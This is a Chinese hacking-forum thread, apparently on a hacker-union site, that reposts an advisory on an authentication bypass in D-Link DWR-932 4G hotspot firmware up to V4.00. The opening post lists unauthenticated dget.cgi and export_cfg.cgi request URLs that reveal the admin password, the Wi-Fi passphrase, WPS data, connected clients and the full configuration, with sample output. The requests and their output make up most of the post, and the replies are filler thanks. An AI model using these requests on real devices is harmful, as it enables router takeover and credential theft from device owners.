请选择 进入手机版 | 继续访问电脑版
查看: 11511|回复: 2336

[Other] D-Link DWR-932固件4.0绕过验证漏洞

[复制链接]
  • TA的每日心情

    前天 11:29
  • 签到天数: 903 天

    [LV.10]以坛为家III

    发表于 2016-3-21 09:21:23 | 显示全部楼层 |阅读模式
    [AppleScript] 纯文本查看 复制代码
    D-Link DWR-932 Firmware <= V4.00 Authentication Bypass - Password Disclosure
    Date: 20 Mar 2016
     
     
    About Product: 
    ---------------
    The DWR-932 4G LTE Mobile Wi-Fi Hotspot 150 Mbps is a 4G/LTE Cat4 high speed broadband Wi-Fi mobile hotspot. The DWR-932 uses a 4G Internet connection to give you a simple and fast Wi-Fi network anywhere you need.
     
     
    Vulnerability Details:
    ----------------------
    The Cgi Script "/cgi-bin/dget.cgi" handles most of user side and server side requests, but there is no observation on requests recieved from unauthorized users.
    so the attacker will be able to view Adminitrative or Wifi Password in clear text by visiting below URLs.
     
    View Admin Username and Password:
    [url]http://192.168.0.1/cgi-bin/dget.cgi?cmd=DEVICE_web_usrname[/url],DEVICE_web_passwd,DEVICE_login_timeout&_=1458459188807
    Output:
    { "DEVICE_web_usrname": "MyUsErNaMe", "DEVICE_web_passwd": "MyPaSsWoRd", "DEVICE_login_timeout": "600" }
     
    View Wifi Password:
    [url]http://192.168.0.1/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid[/url],wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703
    Output:
    { "wifi_AP1_ssid": "dlink-DWR-932", "wifi_AP1_hidden": "0", "wifi_AP1_passphrase": "MyPaSsPhRaSe", "wifi_AP1_passphrase_wep": "", "wifi_AP1_security_mode": "3208,8", "wifi_AP1_enable": "1", "get_mac_filter_list": "", "get_mac_filter_switch": "0", "get_client_list": "9c:00:97:00:a3:b3,192.168.0.45,IT-PCs,0>40:b8:00:ab:b8:8c,192.168.0.43,android-b2e363e04fb0680d,0", "get_mac_address": "c4:00:f5:00:ec:40", "get_wps_dev_pin": "", "get_wps_mode": "0", "get_wps_enable": "0", "get_wps_current_time": "" }
     
    Export All Configurations:
    [url]http://192.168.0.1/cgi-bin/export_cfg.cgi[/url]
    
    #EOF
    回复

    使用道具 举报

    该用户从未签到

    发表于 2016-3-22 12:02:18 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-3-22 20:41:34 | 显示全部楼层
    谢谢楼主的分享
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    郁闷
    2016-4-13 21:38
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-3-22 21:39:52 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2015-6-21 22:12
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-3-22 22:19:41 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-3-22 22:35:43 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-3-23 04:58:39 | 显示全部楼层
    非常感谢
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-3-23 09:40:26 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-3-23 23:45:11 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-3-4 11:35
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2016-3-24 01:33:18 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表